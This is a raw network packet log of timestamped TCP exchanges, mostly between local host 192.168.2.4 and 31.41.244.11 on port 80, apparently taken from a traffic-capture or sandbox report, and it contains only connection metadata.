Dec 15, 2024 11:59:29.100343943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.100362062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.100385904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.100394011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.101458073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.101501942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.101619005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.101658106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.102663994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.102704048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.102777958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.102816105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.103904009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.103941917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.104157925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.104196072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.105196953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.105235100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.105339050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.105370998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.106262922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.106298923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.106389046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.106426001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.107446909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.107486963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.107510090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.107546091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.108650923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.108689070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.108732939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.108772993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.109834909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.109870911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.109926939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.109963894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.111011982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.111052990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.111069918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.111109972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.112252951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.112291098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.112309933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.112345934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.113404036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.113445044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.113517046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.113553047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.114588976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.114628077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.114685059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.114722967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.115865946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.115891933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.115901947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.115927935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.116998911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.117036104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.117136002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.117172956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.118216991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.118257999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.118277073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.118316889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.119332075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.119370937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.119460106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.119502068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.120589972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.120629072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.120687008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.120723009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.121789932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.121828079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.121850967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.121889114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.122927904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.122967005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.123042107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.123075962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.124166012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.124205112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.124281883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.124320030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.125340939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.125382900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.125442028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.125480890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.126534939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.126585007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.126687050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.126724005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.127712011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.127754927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.127922058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.127970934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.128916979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.128958941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.128979921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.129017115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.130103111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.130141020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.130186081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.130222082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.131272078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.131309986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.131386042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.131424904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.132502079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.132539034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.132627964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.132663965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.133681059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.133718014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.133735895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.133773088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.134870052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.134912968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.134978056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.135015965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.136068106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.136109114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.136182070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.136219025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.137274027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.137315035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.137357950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.137392998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.138437033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.138483047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.138530016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.138571978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.139667034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.139713049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.139761925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.139801025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.141096115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.141140938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.141148090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.141184092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.142618895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.142678022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.142700911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.142736912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.143589020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.143636942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.143711090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.143753052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.144404888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.144454956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.144470930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.144505024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.145611048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.145675898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.145698071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.145750999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.146859884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.146908045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.146929979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.146965981 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.147990942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.148042917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.148070097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.148108959 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.149184942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.149219036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.149233103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.149266958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.149645090 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.149698019 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.150389910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.150430918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.150599003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.150636911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.151638031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.151679039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.151731968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.151787043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.152713060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.152750015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.270365953 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.276463032 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.282279968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.282335997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.282381058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.282426119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.282824039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.282860041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.282928944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.282968044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.284060001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.284095049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.284107924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.284138918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.285350084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.285387039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.285490036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.285547972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.286488056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.286544085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.286562920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.286603928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.287622929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.287667036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.287687063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.287723064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.288809061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.288851023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.288904905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.288943052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.289995909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.290039062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.290116072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.290158987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.291192055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.291237116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.291256905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.291300058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.292383909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.292423010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.292493105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.292532921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.293590069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.293633938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.293687105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.293729067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.294775009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.294815063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.294888973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.294931889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.295993090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.296026945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.296078920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.296118975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.297184944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.297223091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.297379971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.297418118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.298345089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.298389912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.298407078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.298440933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.299530983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.299568892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.299664974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.299706936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.300729036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.300770044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.300817013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.300853014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.301948071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.301987886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.302017927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.302054882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.303158045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.303201914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.303252935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.303288937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.304338932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.304375887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.304430962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.304467916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.305545092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.305582047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.305624008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.305674076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.306720972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.306757927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.306822062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.306859970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.307892084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.307929993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.307965994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.308002949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.309106112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.309144974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.309192896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.309231043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.310286999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.310321093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.310326099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.310358047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.311461926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.311506033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.311579943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.311618090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.312854052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.312890053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.312902927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.312946081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.313868046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.313903093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.313967943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.314007998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.315047979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.315088034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.315119982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.315161943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.316226006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.316262007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.316385984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.316423893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.317446947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.317483902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.317622900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.317663908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.318840027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.318877935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.318928957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.319020033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.319825888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.319865942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.319932938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.319974899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.321021080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.321062088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.321134090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.321171999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.322206020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.322256088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.322334051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.322374105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.323390961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.323441982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.323493958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.324806929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.324858904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.324938059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.324976921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.325809002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.325860023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.325903893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.325942993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.327025890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.327074051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.327152967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.327193975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.328176975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.328226089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.328290939 CET	80	49805	31.41.244.11	192.168.2.4
